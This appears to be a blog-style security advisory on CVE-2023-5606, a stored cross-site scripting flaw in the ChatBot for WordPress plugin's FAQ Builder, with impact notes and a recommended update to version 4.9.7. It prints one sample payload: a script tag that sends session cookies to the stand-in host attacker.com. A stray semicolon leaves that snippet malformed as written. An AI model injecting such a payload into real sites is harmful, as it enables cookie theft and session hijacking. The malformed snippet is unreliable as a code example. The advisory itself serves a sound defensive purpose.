CVE-2023-5606: Critical ChatBot for WordPress Vulnerability Re-introduces Stored Cross-Site Scripting

A significant vulnerability was discovered in a popular WordPress plugin, the ChatBot for WordPress. This vulnerability, which poses a high risk to affected websites, pertains to stored cross-site scripting (XSS) due to insufficient input sanitization and output escaping in the plugin's FAQ Builder. It affects versions 4.8.6 through 4.9.6 and only impacts multi-site installations and installations where unfiltered_html capability has been disabled. Intriguingly, this vulnerability is a re-introduction of an earlier vulnerability, CVE-2023-4253.

The vulnerability enables authenticated attackers with administrator-level permissions and above to inject arbitrary web scripts into pages. When a user accesses an injected page, these scripts execute, which can lead to malicious actions such as stealing session cookies, injecting unwanted content, or even redirecting users to malware-laden websites.

To help you understand the scope and impact of this vulnerability, we've provided an example of a code snippet that demonstrates how an attacker might exploit it:

<script>document.location="http://attacker.com/?cookie="; + document.cookie;</script>

This exploit would inject a script that redirects the user to the attacker's website and potentially exfiltrate sensitive user data. As an administrator, you should take immediate action to patch this vulnerability and protect your website.

To eliminate the risk posed by CVE-2023-5606, update your ChatBot for WordPress plugin to version 4.9.7 or later. You can find the latest version of the plugin on the WordPress Plugin Directory:

- ChatBot for WordPress Plugin

Make sure to consult the official release notes for additional instructions on how to securely update your plugin.

For more technical details on CVE-2023-5606 and its origin, CVE-2023-4253, you can refer to the original public disclosure available on the following links:

- CVE-2023-5606 Details
- CVE-2023-4253 Details

In summary, administrators should act promptly to address the CVE-2023-5606 vulnerability in the ChatBot for WordPress plugin by updating to version 4.9.7 or later. Doing so will ensure that your website remains safe from potential attacks associated with stored cross-site scripting and this critical vulnerability.

Timeline

Published on: 11/02/2023 09:15:08 UTC
Last modified on: 11/09/2023 17:47:16 UTC